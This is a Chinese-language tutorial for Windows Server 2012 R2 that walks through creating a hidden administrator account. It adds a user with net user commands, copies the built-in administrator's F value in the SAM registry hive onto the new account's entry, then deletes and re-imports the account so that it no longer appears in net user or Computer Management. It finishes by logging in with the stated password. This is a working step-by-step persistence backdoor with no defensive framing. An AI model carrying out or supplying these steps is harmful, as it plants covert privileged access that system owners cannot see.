一台windows server 2012 r2
一,使用管理员命令行创建用户
右键 选择管理员命令提示符打开
新建wzy用户
net user wzy wm052499. /add
net localgroup administrators wzy /add
设置密码要注意密码的复杂性,不然是无法创建
二,观察wzy用户
使用系统计算机管理工具
可以看到刚刚创建的用户
使用命令行查看用户,在命令行输入
net user
无法看到wzy用户
三,导出wzy和administrator用户注册表信息
打开注册表,命令行中输入
regedit
获取SAM项权限
然后刷新
导出wzy用户信息
导出下面键为test.reg
这里0X3ee为随机值,每台主机都会不一样
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\wzy
导出wzy的UID值
导出administrator的UID项,在windows下,administrator的UID固定为1F4
四、修改导出的注册表信息
将admin_id中的F值,复制到uid中的F值,编辑admin_id
右键,编辑uid
保存退出
五、删除wzy用户,导入注册表
删除wzy用户,使用命令
net user wzy /del
导入桌面上的 wzy 和 uid注册表文件
导入wzy
导入uid
六,查看隐藏账户
使用计算机管理,查看用户,并未发现wzy
记得刷新
修改组策略,允许自定义用户登录,在命令提示符中输入
gpedit.msc
进入本地组策略编辑器
然后关机重启,使用wzy用户登录
用户名wzy
密码 wm052499.
密码尾部后面有个英文的点 “.”
然后回车进去